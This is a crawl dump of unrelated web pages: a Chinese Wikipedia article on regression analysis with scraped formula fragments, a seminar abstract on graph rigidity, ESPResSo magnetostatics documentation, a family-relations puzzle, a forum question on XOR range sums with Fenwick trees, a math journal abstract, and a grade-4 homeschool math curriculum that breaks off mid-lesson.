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https://zh.wikipedia.org/wiki/%E5%9B%9E%E5%BD%92%E5%88%86%E6%9E%90
[ "", null, "# 迴歸分析\n\n(重定向自回归分析\n\n## 起源\n\n「迴歸」一詞最早由法蘭西斯·高爾頓(Francis Galton)所使用。他曾對親子間的身高做研究,發現父母的身高雖然會遺傳給子女,但子女的身高卻有逐漸「迴歸到中等(即人的平均值)」的現象。不過當時的迴歸和現在的迴歸在意義上已不盡相同。\n\n## 迴歸分析原理\n\n• 目的在於找出一條最能夠代表所有觀測資料的函數(迴歸估計式)。\n• 用此函數代表因變數和自變數之間的關係。\n\n## 回归模型\n\n• 未知参数,记为$\\beta$", null, ",可以代表一个标量或一个向量\n• 自变量$\\mathbf {X}$", null, "• 因变量$Y$", null, "$Y\\approx f(\\mathbf {X} ,{\\boldsymbol {\\beta }})$", null, "• 如果以$(Y,\\mathbf {X} )$", null, "的形式给出了$N$", null, "个数据点,当$N", null, "时,大多数传统的回归分析方法都不能进行,因为数据量不够导致回归模型的系统方程不能完全确定$\\beta$", null, "• 如果恰好有$N=k$", null, "个数据点,并且函数$f$", null, "的形式是线性的,那么方程$Y=f(\\mathbf {X} ,{\\boldsymbol {\\beta }})$", null, "能精确求解。这相当于解一个有$N$", null, "个未知量和$N$", null, "个方程的方程组。在$\\mathbf {X}$", null, "线性无关的情况下,这个方程组有唯一解。但如果$f$", null, "是非线性形式的,解可能有多个或不存在。\n• 实际中$N>k$", null, "的情况占大多数。这种情况下,有足够的信息用于估计一个与数据最接近的$\\beta$", null, "值,这时当回归分析应用于这些数据时,可以看作是解一个关于$\\beta$", null, "超定方程\n\n⒉在特定统计假设下,回归分析使用数据中的多余信息给出关于因变量$Y$", null, "和未知量$\\beta$", null, "之间的关系。\n\n## 迴歸分析的種類\n\n### 簡單線性回歸\n\n(英語:simple linear regression\n\n• 應用時機\n1. 以單一變數預測\n2. 判斷兩變數之間相關的方向和程度\n\n### 對數線性迴歸\n\n(英語:Log-linear model),是將解釋變項(實驗設計中的自變項)和反應變項(實驗設計中的依變項)都取對數值之後再進行線性迴歸,所以依據解釋變項的數量,可能是對數簡單線性迴歸,也可能是對數複迴歸。\n\n### 偏迴歸\n\n(英語:Partial Regression\n\n## 参考资料\n\n1. ^ A.M. Legendre. Nouvelles méthodes pour la détermination des orbites des comètes, Firmin Didot, Paris, 1805. “Sur la Méthode des moindres quarrés” appears as an appendix.\n2. ^ C.F. Gauss. Theoria Motus Corporum Coelestium in Sectionibus Conicis Solem Ambientum. (1809)\n3. ^ C.F. Gauss. Theoria combinationis observationum erroribus minimis obnoxiae. (1821/1823)\n4. ^ Mogull, Robert G. Second-Semester Applied Statistics. Kendall/Hunt Publishing Company. 2004: 59. ISBN 0-7575-1181-3.\n5. ^ Galton, Francis. Kinship and Correlation (reprinted 1989). Statistical Science (Institute of Mathematical Statistics). 1989, 4 (2): 80–86. JSTOR 2245330. doi:10.1214/ss/1177012581.\n6. ^ Rodney Ramcharan. Regressions: Why Are Economists Obessessed with Them? March 2006. Accessed 2011-12-03.\n\n## 外部連結\n\n1. 解讀迴歸分析的原理及結構" ]
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https://mathematics.huji.ac.il/event/combinatorics-amir-shpilka-tau?ref_tid=3830
[ "# Combinatorics: Orit Raz (HUJI)\n\nDate:\nMon, 16/12/201910:00-12:00\nLocation:\nC-400, CS building\n\nCombinatorics Seminar HUJI\n\nWhen: Monday Dec 16, 10:00-11:45\nWhere: C-400, CS building\n\nSpeaker: Orit Raz (HUJI)\n\nTitle: Dense graphs have rigid parts\n\nAbstract:\n\nWhile the problem of determining whether a given embedding of a graph $G$ in $\\R^2$ is {\\it infinitesimally rigid} is well understood, specifying whether a given embedding of $G$ is {\\it rigid} or not is still a hard task that usually requires ad hoc arguments. In the talk I will tell about a recent result with Jozsef Solymosi asserting that {\\it every} embedding (not necessarily generic) of a dense enough graph (concretely, a graph with at least $C_0n^{3/2}(\\log n)^{\\beta}$ edges, for some absolute constants $C_0>0$ and $\\beta\\ge 1$), which satisfies some very mild general position requirements (no three vertices of $G$ are embedded to a common line), must have a subframework of size at least three which is rigid.\n\nFor the proof we use a connection between the notion of graph rigidity and configurations of lines in $\\R^3$, which I will introduce. This connection allows us to use properties of line configurations established in Guth and Katz~\\cite{GK2}.\n(In fact, our proof requires an extended version of Guth and Katz result; the extension we need was proved by J\\'anos Koll\\’ar.)\n\nWe do not know whether our assumption on the number of edges is tight. I will introduce an example that shows that requiring  $\\Omega(n\\log n)$ edges is necessary." ]
[ null ]
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http://espressomd.org/html/doc/magnetostatics.html
[ "# 9. Magnetostatics / Dipolar interactions¶\n\n## 9.1. Dipolar interaction¶\n\nESPResSo contains methods to calculate the interactions between point dipoles\n\n$U^{Dip}(\\vec{r}) = D \\cdot \\left( \\frac{(\\vec{\\mu}_i \\cdot \\vec{\\mu}_j)}{r^3} - \\frac{3 (\\vec{\\mu}_i \\cdot \\vec{r}) (\\vec{\\mu}_j \\cdot \\vec{r}) }{r^5} \\right)$\n\nwhere $$r=|\\vec{r}|$$. The prefactor $$D$$ is can be set by the user and is given by\n\n(1)$D =\\frac{\\mu_0 \\mu}{4\\pi}$\n\nwhere $$\\mu_0$$ and $$\\mu$$ are the vacuum permittivity and the relative permittivity of the background material, respectively.\n\nMagnetostatic interactions are activated via the actor framework:\n\nimport espressomd\nimport espressomd.magnetostatics\n\nsystem = espressomd.System(box_l=[10, 10, 10])\nsystem.time_step = 0.01\nsystem.part.add(pos=[[0, 0, 0], [1, 1, 1]],\nrotation=2 * [(1, 1, 1)], dip=2 * [(1, 0, 0)])\n\ndirect_sum = espressomd.magnetostatics.DipolarDirectSumCpu(prefactor=1)\n# ...\nsystem.actors.remove(direct_sum)\n\n\nThe magnetostatics algorithms for periodic boundary conditions require some knowledge to use them properly. Uneducated use can result in completely unphysical simulations.\n\n### 9.1.1. Dipolar P3M¶\n\nespressomd.magnetostatics.DipolarP3M\n\nThis is the dipolar version of the P3M algorithm, described in [CerdaBLH08].\n\nMake sure that you know the relevance of the P3M parameters before using P3M! If you are not sure, read the following references: [Ewa21][HE88][KP92][DH98a][DH98b][DHL00][Des00][CerdaBLH08].\n\nNote that dipolar P3M does not work with non-cubic boxes.\n\nThe parameters of the dipolar P3M method can be tuned automatically, by providing accuracy=<TARGET_ACCURACY> to the method. It is also possible to pass a subset of the method parameters such as mesh. In that case, only the omitted parameters are tuned:\n\nimport espressomd.magnetostatics as magnetostatics\np3m = magnetostatics.DipolarP3M(prefactor=1, mesh=32, accuracy=1E-4)\n\n\nIt is important to note that the error estimates given in [CerdaBLH08] used in the tuning contain assumptions about the system. In particular, a homogeneous system is assumed. If this is no longer the case during the simulation, actual force and torque errors can be significantly larger.\n\n### 9.1.2. Dipolar Layer Correction (DLC)¶\n\nespressomd.magnetostatic_extensions.DLC\n\nThe dipolar layer correction (DLC) is used in conjunction with the dipolar P3M method to calculate dipolar interactions in a 2D-periodic system. It is based on [Brodka04] and the dipolar version of Electrostatic Layer Correction (ELC).\n\nUsage notes:\n\n• The non-periodic direction is always the z-direction.\n\n• The method relies on a slab of the simulation box perpendicular to the z-direction not to contain particles. The size in z-direction of this slab is controlled by the gap_size parameter. The user has to ensure that no particles enter this region by means of constraints or by fixing the particles’ z-coordinate. When there is no empty slab of the specified size, the method will silently produce wrong results.\n\n• The method can be tuned using the accuracy parameter. In contrast to the electrostatic method, it refers to the energy. Furthermore, it is assumed that all dipole moment are as large as the largest of the dipoles in the system.\n\nThe method is used as follows:\n\nimport espressomd.magnetostatics as magnetostatics\nimport espressomd.magnetostatic_extensions as magnetostatic_extensions\n\np3m = magnetostatics.DipolarP3M(prefactor=1, accuracy=1E-4)\ndlc = magnetostatic_extensions.DLC(maxPWerror=1E-5, gap_size=2.)\n\n\n## 9.2. Dipolar direct sum¶\n\nThis interaction calculates energies and forces between dipoles by explicitly summing over all pairs. For the directions in which the system is periodic (as defined by system.periodicity), it applies the minimum image convention, i.e. the interaction is effectively cut off at half a box length.\n\nThe direct summation methods are mainly intended for non-periodic systems which cannot be solved using the dipolar P3M method. Due to the long-range nature of dipolar interactions, Direct summation with minimum image convention does not yield good accuracy with periodic systems.\n\nTwo methods are available:\n\n• DipolarDirectSumCpu performs the calculation in double precision on the Cpu.\n\n• DipolarDirectSumGpu performs the calculations in single precision on a Cuda-capable graphics card. The implementation is optimized for large systems of several thousand particles. It makes use of one thread per particle. When there are fewer particles than the number of threads the gpu can execute simultaneously, the rest of the gpu remains idle. Hence, the method will perform poorly for small systems.\n\nTo use the methods, create an instance of either DipolarDirectSumCpu or DipolarDirectSumGpu and add it to the system’s list of active actors. The only required parameter is the Prefactor (1):\n\nfrom espressomd.magnetostatics import DipolarDirectSumGpu\ndds = DipolarDirectSumGpu(bjerrum_length=1)\n\n\nFor testing purposes, a variant of the dipolar direct sum is available which adds periodic copies to the system in periodic directions: DipolarDirectSumWithReplicaCpu. As it is very slow, this method is not intended to do simulations, but rather to check the results you get from more efficient methods like P3M.\n\nDipolarDirectSumCpu and DipolarDirectSumWithReplicaCpu do not support MPI parallelization.\n\n## 9.3. Barnes-Hut octree sum on GPU¶\n\nespressomd.magnetostatics.DipolarBarnesHutGpu\n\nThis interaction calculates energies and forces between dipoles by summing over the spatial octree cells (aka leaves). Far enough cells are considered as a single dipole with a cumulative vector in the cell center of mass. Parameters which determine that the cell is far enough are $$I_{\\mathrm{tol}}^2$$ and $$\\varepsilon^2$$ which define a fraction of the cell and an additive distance respectively. For the detailed description of the Barnes-Hut method application to the dipole-dipole interactions, please refer to [PLD+13].\n\nTo use the method, create an instance of DipolarBarnesHutGpu and add it to the system’s list of active actors:\n\nfrom espressomd.magnetostatics import DipolarBarnesHutGpu\nbh = DipolarBarnesHutGpu(prefactor=pf_dds_gpu, epssq=200.0, itolsq=8.0)\n\nespressomd.magnetostatics.Scafacos\nESPResSo can use the methods from the ScaFaCoS Scalable fast Coulomb solvers library for dipoles, if the methods support dipolar calculations. The feature SCAFACOS_DIPOLES has to be added to myconfig.hpp to activate this feature. Dipolar calculations are only included in the dipolar branch of the ScaFaCoS code.\nTo use ScaFaCoS, create an instance of Scafacos and add it to the list of active actors. Three parameters have to be specified: prefactor, method_name, method_params. The method-specific parameters are described in the ScaFaCoS manual. In addition, methods supporting tuning have a parameter tolerance_field which sets the desired root mean square accuracy for the magnetic field." ]
[ null ]
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https://testbook.com/question-answer/a-b-means-a-is-the-mother-of-ba--6077d9c4cde08f625f1904e7
[ "# A ×  B means A is the mother of BA / B means A is the husband of BA + B means A is the father of BIn which of the following cases, P is the father of Q?\n\nThis question was previously asked in\nMP Police SI Official Paper 3 (Held on : 6 Sept 2016 Shift 1)\nView all MP Police SI Papers >\n1. Q × M / P\n2. P × M / Q\n3. Q / M × P\n4. P / M × Q\n\nOption 4 : P / M × Q\n\n## Detailed Solution\n\nThe following codes and family trees are used in solving this question:", null, "and,", null, "On checking each options one by one:\n\ni) Q × M / P", null, "It doesn't follow the condition that P is father of Q\n\nii) P × M / Q", null, "It doesn't follow the condition that P is father of Q\n\niii) Q / M × P", null, "It doesn't follow the condition that P is father of Q\n\niv) P / M × Q", null, "It follows the condition that P is father of Q\n\nHence, option 4 is the correct answer." ]
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https://discusstest.codechef.com/t/range-xored-sum-using-bit-or-fenwick-tree/14459
[ "", null, "# range XORed sum using BIT or Fenwick tree\n\nFor a given array of integers, we have to calculate `XORed` sum withing a given range `[L, R]`, by `XORed` sum I mean `Σ(Arr[i]^p)` where `i:[L,R]` and `p` is some number. This can be easily done while calculating the `XORed` sum till every `i-th` element in array from beginning of the array. Now the problem occures when the `p` changes very frequently. And recalculating `XORed` sum till every `i-th` element does not seems to be an ideal solution in this case. I guess this can be done using `fenwick` tree or `BIT`. But I am not able to figure out how to proceed with `fenwick` tree or `BIT`. Any help would be appreciated.\n\nCould you provide the problem source? I am not comfortable providing you with an answer otherwise.\n\n2 Likes\n\nIt’s the same as using BIT for sum, just replace + with ^ (xor).\n\n//" ]
[ null, "https://s3.amazonaws.com/discoursestaging/original/2X/4/45bf0c3f75fc1a2cdf5d9042041a80fa6dd3106b.png", null ]
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https://www.mscand.dk/article/view/24745
[ "# Zeros of Functions in Bergman-Type Hilbert Spaces of Dirichlet Series\n\n• Ole Fredrik Brevig\n\n### Abstract\n\nFor a real number $\\alpha$ the Hilbert space $\\mathscr{D}_\\alpha$ consists of those Dirichlet series $\\sum_{n=1}^\\infty a_n/n^s$ for which $\\sum_{n=1}^\\infty |a_n|^2/[d(n)]^\\alpha < \\infty$, where $d(n)$ denotes the number of divisors of $n$. We extend a theorem of Seip on the bounded zero sequences of functions in $\\mathscr{D}_\\alpha$ to the case $\\alpha>0$. Generalizations to other weighted spaces of Dirichlet series are also discussed, as are partial results on the zeros of functions in the Hardy spaces of Dirichlet series $\\mathscr{H}^p$, for $1\\leq p <2$.\nPublished\n2016-11-01\nHow to Cite\nBrevig, O. F. (2016). Zeros of Functions in Bergman-Type Hilbert Spaces of Dirichlet Series. MATHEMATICA SCANDINAVICA, 119(2), 237-248. https://doi.org/10.7146/math.scand.a-24745\nIssue\nSection\nArticles" ]
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https://www.hackergateway.com/users/lovenunu/solutions
[ "• solved\n• solved\n• solved\n• solved\n• solved\n• solved\n• solved\n• solved\n• solved\n• solved\n• solved\n• solved\n• solved\n• solved\n• solved\n• solved\n• solved\n• solved\n• solved\n• solved\n• solved" ]
[ null ]
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https://allinonehomeschool.com/math-4/
[ "# Math — 4\n\n### Found a problem? Check here.\n\n#### You should know all of your math facts. If you don’t, please go to xtramath every day until you do. Math is easier, and therefore more fun, when you know the answers! (Parents: This site will require a free account. If this isn’t coming easily for your child, you can slow it down. Click on parent/teacher and log in. Choose the child’s tab. Choose Change Program. Choose 6 second addition. When it’s mastered, you can change to subtraction, etc.)\n\nCourse Description: Students will expand their understanding of graphing, measurement, fractions, decimals, geometry, estimation, place value, time, and money. Students will be introduced to adding, subtracting, multiplying, dividing, and simplifying fractions, as well as probability, order of operation, the coordinate plane, long division, angles, percents and averages. Students will practice their skills and new math vocabulary using worksheets as well as online games, quizzes and activities. Students will also be challenged by mental math problems.\n\nMaterials:\n\n• Basic Supplies List\n• Lesson 61, yarn — Really, you could use any type of string. Floss would work; thread is probably too weak.\n\n### Books to Work Offline:\n\nYou’ll want the Workbooks and Parent Guide to go completely offline.\n\n### Online course:", null, "Print worksheets for this online course\n\nOR\n\nReview\n\nLesson 1 (Materials: It’s not needed today, but I suggest that this year they have a math notebook, a spiral notebook or something, unless they have a lot of trouble with physically writing. If they do, you could see if they like an online scratch pad better.)\n\nWelcome to your first day of school! I wanted to give you one important reminder before you begin. Many of your lessons below have an internet link for you to click on. When you go to the different internet pages for your lessons, please DO NOT click on anything else on that page except what the directions tell you to. DO NOT click on any advertisements or games. DO NOT click on anything that takes you to a different website. Just stay focused on your lesson and then close that window and you should be right back here for the next lesson. Okay?\n\nParents:\n\n1. If you didn’t get here through My EP Assignments, I suggest you go there and create an account.\n2. This course has an offline version and a printables workbook. Go to the top of the course page for book links.\n\nPlease decide about buying books or printing out the worksheet packets for the year. You’ll want those worksheets available when they come up in the curriculum. Scroll up above Lesson 1 to see the book options.\n\n1. If your child doesn’t know their facts, please read the note at the top of the course page.\n\nStudents:\n\n1. Find the correct time. Choose “nearest minute.” Play until you get 20 correct.\n2. Round to the nearest ten.  Play until you get 20 correct.\n3. Round to the nearest hundred.  Play until you get 20 correct.\n4. This is the end of your work for this course for your first day. You are allowed to move at your own pace (this is homeschooling), but it’s intended you complete one lesson a day.\n\nLesson 2\n\n1. Play this time matching game. Choose Level 1.\n2. How much money? To answer, click on the money in the cash register to add it to your total.\n• If you had 80 and gave 15, how much would you have left?\n• Count up from 15 using the money. Click on ten and count to 25, again 35, etc.\n3. Make numbers.\n4. Round to the nearest 100. (If you don’t remember this, here is a presentation to watch.)\n\nLesson 3\n\n1. Play with time.\n2. Identify the shapes.\n3. Read the bar graphs.  This site will only let you do a certain number of problems a day.  Just answer the problems until it tells you you have reached the limit.\n\nLesson 4* (Note that an asterisk * indicates that there is a worksheet on this lesson)\n\n1. Try to find the elapsed time.\n• This is the PDF packet of all the worksheets for the year. You can print them all at once or buy it as a workbook for convenience. The answer key is posted at the top of the page right above Lesson 1.\n3. If you can’t remember how to do this, you can watch this video before you practice with the worksheet.\n\nLesson 5*\n\n1. Match the fractions.\n2. *Complete the worksheet (Subtraction 2 digits regrouping) (answer key)\n3. If you can’t remember how to do this, you can watch this presentation before you complete the worksheet.\n\nLesson 6*\n\n1. Do multiplication facts. Choose multiplication, level 1. How many can you get correct in 2 minutes?\n2. *Complete this worksheet, Add and Subtract Decimals.\n\nLesson 7*\n\n1. Do division facts. Choose division, level 1. How many can you get correct in 2 minutes?\n2. *Complete the worksheet.\n\nLesson 8*\n\n1. Do multiplication facts. Choose multiplication, level 1. How many can you get correct in 2 minutes?\n2. *Complete the worksheet. (answer key)\n\nLesson 9*\n\n1. Do division facts. Choose division, level 1. How many can you get correct in 2 minutes?\n2. *Complete the worksheet.\n\nLesson 10*\n\n1. Practice rounding to the nearest ten.\n2. Practice rounding to the nearest ten with hundreds.\n3. *Complete the worksheet. (answer key)\n\nPlace Value and Expanded Notation\n\nLesson 11\n\n1. Do multiplication facts. Choose multiplication, level 1. How many can you get correct in 2 minutes?\n2. Do this lesson on place value and expanded notation or expanded form. You don’t need to write the sentence at the end. You should never give your name out on the internet.\n\nLesson 12\n\n1. Do division facts. Choose division, level 1. Can you do more in 2 minutes?\n2. Read this lesson on place value and expanded form. Make sure you click to go to the next page.\n\nLesson 13*\n\n1. Do multiplication facts. Choose multiplication, level 1. How many can you get correct in 2 minutes?\n2. *Complete this worksheet on expanded form and standard form.\n\nLesson 14*\n\n1. Do division facts. Choose division, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. *Complete the worksheet. You’ll need scissors and you’ll need the Lesson 15 worksheet as well. You won’t finish it today, but you’ll be writing down some numbers.\n3. Just for fun. Make REALLY BIG NUMBERS.\n\nLesson 15*\n\n1. Do addition facts. Choose addition, level 1. How many can you get correct in 2 minutes?\n2. *Complete the Lesson 15 worksheet (this is the same one that was printed on day 14).\n\nLesson 16*\n\n1. Do multiplication facts. Choose multiplication, level 1. How many can you get correct in 2 minutes?\n2. Watch this lesson: “place value house.”\n3. *Complete the worksheet.\n4. Write a digit in each room in each house. Line up the houses and read your number. You read the numbers in a regular way (example: for 514 you say “five hundred fourteen”) and then you put on the “last name” (example: “thousand,” or “million”).\n\nLesson 17*\n\n1. Do division facts. Choose division, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. *Complete the worksheet.\n3. While you work, listen to the big number song. Watch the end!\n\nLesson 18*\n\n1. Do multiplication facts. Choose multiplication, level 1. How many can you get correct in 2 minutes?\n2. Complete the worksheet. (answer key)\n• 47, 531 The answer would be thousands.\n\nLesson 19*\n\n1. Do division facts. Choose division, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. *Complete the worksheet and write the bigger numbers in expanded form. (answer key)\n\nLesson 20*\n\n1. Do subtraction facts. Choose subtraction, level 1. How many can you get correct in 2 minutes?\n2. *Complete the worksheet. (answer key)\n\nMental Math\n\nLesson 21 (Materials: math notebook to write down daily mental math answers)\n\n1. Do multiplication facts. Choose multiplication, level 1. How many can you get correct in 2 minutes?\n2. Get out your math notebook. Write Lesson 21. You are going to be doing mental math (math in your head). You are only to write the answers. Do not write the questions. I will read the questions to you. You will write your answers underneath Lesson 21. If you get stuck and haven’t answered when I start the next question, pay attention to what I’m saying and just move on to the next question.\n3. Watch this presentation. Learn about mental math.\n\nLesson 22\n\n1. Do division facts. Choose division, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n3. Watch this presentation. Learn about mental math. (Yes, there’s a typo in the problem, but you can still learn what it’s showing you.)\n\nLesson 23\n\n1. Do multiplication facts. Choose multiplication, level 1. How many can you get correct in 2 minutes?\n3. Watch this presentation. Follow the directions. Learn some mental math techniques.\n\nLesson 24\n\n1. Do division facts. Choose division, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n3. Watch this presentation. Follow the directions. Learn about mental math. (It says there is another example, but alas, there is not.)\n\nLesson 25*\n\n1. *Complete the mental math worksheet. Remember, you are supposed to solve them in your head!\n• Expanded form 346 = 300 + 40 + 6\n• Rounding 38 is near 40; remember to take 2 off of the answer.\n\nMultiplying Bigger Numbers\n\nLesson 26*\n\n1. Do addition facts. Choose addition, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Mental Math Time!\n4. Watch this presentation on multiplying bigger numbers.\n5. *Complete the multiplication worksheet. (answer key)\n6. You can look at the presentation again if you need another reminder.\n\nLesson 27\n\n1. Do division facts. Choose division, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Mental Math Time!\n4. You are going to watch two videos with multiplication problems. Copy down each problem and write down the solution along with the video.\n5. Watch this video on multiplying.\n6. Watch this video on multiplying. Make sure you write down each problem and solve all the steps along with the video.\n\nLesson 28*\n\n1. Do subtraction facts. Choose subtraction, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Mental Math Time!\n5. *Complete the worksheet, multiplication double digits. (answer key)\n\nLesson 29*\n\n1. Do division facts. Choose division, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Mental Math Time!\n4. *Complete the worksheet, multiplication double digits. (answer key)\n\nLesson 30\n\n1. Play the place value game. Choose level 2 and place value. (Turn off your ad blocker.)\n• If you are using a mobile device, this activity will send you to their paid app. Set your browser to Desktop to try to bypass that. Directions here\n2. Play this rounding game. Round to the nearest ten with two- or three-digit numbers.\n3. Can you do level 3 at the expert level? Count the money.\n\nGraphs and Charts\n\nLesson 31\n\n1. Do addition facts. Choose addition, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Mental Math Time!\n4. Create frequency tables that show how many of each thing there are.\n• You are going to write in the number that shows how frequently something appears.\n• Here’s an example. Red Red Yellow Blue\n• In the list above, red has a frequency of two. Yellow and blue both have a frequency of one. Green has a frequency of zero.\n5. Make a survey of people or things in your house. You can ask everyone at your home a question and tally the results, or you could count things like doors, apples, etc. and tally the numbers. Make a graph. Print it if you can. Make sure you include all of the labels.\n\nLesson 32\n\n1. Do multiplication facts. Choose multiplication, level 1. How many can you get correct in 2 minutes?\n2. Mental Math Time!\n4. Can you read the frequency charts?\n\nLesson 33\n\n1. Do subtraction facts. Choose subtraction, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Mental Math Time!\n4. Read about different types of frequency diagrams. Keep clicking on the arrow to read all of the pages.\n\nLesson 34\n\n1. Do division facts. Choose division, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Mental Math Time!\n4. Click on Step-by-Step to learn about double line graphs. Make sure you do all of the parts. Click on “show me,” “next,” and each of the tabs.\n5. Go back to the same page and click on “test yourself.”\n\nLesson 35\n\n1. Play Best Friend Math. Use paper if you need to, but try and figure out the answers in your head. How many friends did you make?\n2. Read the clocks. Drag the puzzle picture piece onto the correct clock. If you are correct, it will stay in place.\n\nMultiplying Bigger Numbers\n\nLesson 36*\n\n1. Do addition facts. Choose addition, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Mental Math Time!\n4. Read this lesson on multiplying with hundreds and watch the first video.\n5. *Complete this worksheet on multiplying with hundreds. (answer key)\n6. When you are done, check your answers. Redo any problems you got wrong.\n\nLesson 37\n\n1. Do multiplication facts. Choose multiplication, level 1. How many can you get correct in 2 minutes?\n2. Mental Math Time!\n4. Read this lesson on multiplying with hundreds and watch the second video.\n5. Click on the questions at the bottom and answer all ten.\n\nLesson 38*\n\n1. Do subtraction facts. Choose subtraction, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Mental Math Time!\n4. *Complete the worksheet on multiplying hundreds.\n\nLesson 39*\n\n1. Do division facts. Choose division, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Mental Math Time!\n7. Give this worksheet to a parent to put in your portfolio.\n\nLesson 40\n\n1. Try this activity to review using data.\n2. Play the rounding game. Choose rounding to the nearest hundred.\n3. Find the standard form of the numbers in expanded notation.\n\nLesson 41*\n\n1. Do addition facts. Choose addition, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Mental Math Time!\n5. *Complete the worksheet, multiplying practice 1.\n\nLesson 42*\n\n1. Do multiplication facts. Choose multiplication, level 1. How many can you get correct in 2 minutes?\n2. Mental Math Time!\n4. How would you add 88 + 8 in your head? You could add 8 + 8 + 80. Or you could add 88 + 2 + 6.\n5. *Complete the worksheet, multiplying practice 2.\n\nLesson 43*\n\n1. Do subtraction facts. Choose subtraction, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Mental Math Time!\n4. How would you subtract 20 – 3 in your head? You could count down from 20. Or you could think 10 + 10 – 3.\n5. *Complete the worksheet, multiplying practice 3.\n\nLesson 44*\n\n1. Do division facts. Choose division, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Mental Math Time!\n4. *Complete the worksheet, multiplying practice 4.\n\nLesson 45*\n\n1. *Do the worksheet, Estimation with Multiplication. You are going to estimate the solution by rounding the top number to the nearest hundred and the bottom number to the nearest ten. Then you multiply the first digits together. Write down that number. Then you count up how many zeros are in the problem and write them in the answer. Here’s an example:\n• 458 x 34 = 500 x 30 = 15,000\n• In the US, we put a comma after every three digits, starting on the far right with the ones. They don’t do that everywhere. I remember being confused when I was first living in Macedonia because in writing numbers they use decimal points where we would use commas, and commas where we would use decimal points. That’s how they do it in Europe.\n\nLesson 46*\n\n1. Do addition facts. Choose addition, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Mental Math Time!\n4. *Complete the worksheet.\n\nWord Problems\n\nLesson 47\n\n1. Do multiplication facts. Choose multiplication, level 1. If it’s too easy, choose level 2. How many can you get correct in 2 minutes?\n2. Mental Math Time!\n\n5. Multiply and add to find the right amount. Click on Next to get the first question. You will see something like 10 cents and 10 bananas and 2 cents and 2 apples. You would multiply 10 x 10 to get the cost of the bananas and 2 x 2 to get the cost of the apples. Add 100 + 4 and enter that amount by clicking on the blank box and typing in the number. Click on Check to check your answer. It will show the correct answer. It will be green if you are right; red if you are wrong. Once you get eight correct, it will show “Game Over.”\n\nLesson 48\n\n1. Do subtraction facts. Choose subtraction, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Mental Math Time!\n\n4. Solve the multiplication and division word problems.\n\nLesson 49\n\n1. Do division facts. Choose division, level 1. How many can you get correct in 2 minutes? Can you do more than before?\n2. Mental Math Time!\n\n4. Solve the word problems.\n\nLesson 50\n\n1. Play the math game to practice all facts. Choose each type one at a time. It’s a race.\n2. Solve the word problems. Make sure you write the label on your answer: 12 apples, \\$4.50, 6 children, etc.\n\nFractions\n\nLesson 51\n\n2. In the review it pointed out that one half, 1/2, is the same as two fourths, 2/4. What else is it the same as? If you had a pizza with 8 slices and you ate half, how many slices did you eat? Four! Four is half of eight. One way to read fractions is 4 out of 8.\n3. These are all the same amount.\n• one half\n• five tenths\n• five out of ten\n• 0.5\n• 50%\n4. 1/2 , 2/4 , 3/6 , 4/8 , 5/10 are called equivalent fractions. Equivalent means equal. Those fractions are all one half. The top number is half of the bottom number. The denominator is two times the numerator.\n5. When we change an equivalent fraction to its lowest terms, it’s called simplifying or reducing the fraction. That just means we take 5/10 (five tenths) and call it 1/2 (one half). If you ate 5 out of the 10 cookies, you ate one half of them. 5/10 and 1/2 are the same amount.\n6. One way to find an equivalent fraction is to multiply or divide the top and bottom numbers (the numerator and the denominator) by the same amount. Watch this presentation.\n7. Choose equivalent fractions. Play with it to make equivalent fractions. How are they made?\n8. Choose Reduce Fractions. You are going to find an equivalent fraction by dividing the top and bottom by the same number. If the numerator and denominator are both even, then divide by 2. Then see if you can do it again. If the numerator and denominator both end in either 0 or 5, then divide both by 5. If the numerator or denominator could both be divided by 3, then divide both. You are finding equivalent fractions.\n\nLesson 52\n\n1. Identify the fraction that doesn’t match the picture. One fraction shows the fraction in the picture. One is an equivalent fraction. One doesn’t belong. Which one?\n2. Match the equivalent fractions. Choose Level 1. I suggest slow relaxed mode.\n• If the fraction is 1/3, then look for a picture that shows one out of three parts colored in.\n• It may have 3 out of 9 squares colored in, but notice that it has one out of three lines colored in. 1/3 and 3/9 are equivalent fractions.\n• 1/3 is 3/9 reduced.\n\nLesson 53\n\n1. Compare the fractions. You compare them by looking at their numerators.\n2. Which fraction is the largest amount? Choose level 10.\n• 1/2 is greater than 2/5 because…\n• 1/2 equals 5/10 (multiply top and bottom by 5)\n• 2/5 equals 4/10 (multiply top and bottom by 2)\n• 5 > 4\n• You can also try to picture which is bigger. One of out five slices of a circle, one fifth, is not as much as three out of four slices of a circle.\n\nLesson 54*\n\n1. *Complete the worksheet.\n\nLesson 55\n\nLesson 56\n\nLesson 57\n\n1. Read about mixed numbers or mixed fractions and do the questions.\n\nLesson 58*\n\n1. When you work with fractions, you need to always reduce your answer. That means that you want your answer to have the smallest numbers possible. You may add to get 3/9 as your answer. But then you should stop and see if there is an equivalent fraction with smaller numbers. If the denominator and numerator are both even, then you can divide the top and bottom number each by 2 in order to reduce it. Then check to see if you can reduce it more! 3/9 can be reduced to 1/3 by dividing the numerator and denominator both by 3.\n2. Learn about reducing, or simplifying fractions.\n3. Choose reduce fractions.\n4. Remember that you ALWAYS should reduce your answers when working with fractions.\n5. *Complete the worksheet. (answer key)\n\nLesson 59*\n\n1. *Complete the worksheet. (answer key)\n\nLesson 60*\n\n1. *Complete the worksheet. (answer key)\n\nLong Division\n\nLesson 61* (Materials: yarn and file folder or poster board or some other strong paper, see picture)\n\n2. *Print out the long division lapbook. There are five pages. Here are the directions and a picture of how it will look.\n3. Today you can cut out the quotient, dividend, and divisor piece, as well as the long, skinny rectangle with the steps of long division. Attach the pieces to whatever you are using for your 